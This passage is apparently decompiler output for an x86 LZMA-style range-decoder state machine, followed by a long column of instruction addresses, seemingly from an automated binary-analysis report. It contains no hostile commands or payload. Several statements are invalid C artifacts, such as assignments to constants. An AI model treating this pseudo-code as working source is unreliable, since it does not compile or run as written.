									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__ebx = __edx + 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}













                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x0040675a
                                                                                              0x0040663b
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00000000
                                                                                              0x00406bb4
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00000000
                                                                                              0x00406a23
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00406be2
                                                                                              0x00406be6
                                                                                              0x00406be6
                                                                                              0x004066a4
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00406bca
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00406bdb
                                                                                              0x00000000
                                                                                              0x00406bdb
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406346
                                                                                              0x00406349
                                                                                              0x004063ba
                                                                                              0x004063bd
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x00000000
                                                                                              0x004063d1
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406352
                                                                                              0x00406354
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x0040636c
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406381
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406391
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00000000
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639c
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406605
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406612
                                                                                              0x00406615
                                                                                              0x00406618
                                                                                              0x0040661b
                                                                                              0x0040661e
                                                                                              0x00406620
                                                                                              0x00406627
                                                                                              0x00406628
                                                                                              0x0040662a
                                                                                              0x0040662d
                                                                                              0x00406630
                                                                                              0x00406633
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x00406638
                                                                                              0x004065e9
                                                                                              0x004065ec
                                                                                              0x004065ef
                                                                                              0x004065f9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x0040670c
                                                                                              0x0040670f
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x00000000
                                                                                              0x0040671c
                                                                                              0x00406707
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00406742
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004063dd
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00000000
                                                                                              0x00406b4e
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406405
                                                                                              0x00406408
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040640e
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406445
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x00406478
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406481
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406496
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064de
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x00406509
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x0040650e
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040655a
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x0040657f
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00000000
                                                                                              0x00406526
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a2
                                                                                              0x004065a5
                                                                                              0x004065bd
                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cd
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d2
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a0
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x00000000
                                                                                              0x004069ad
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
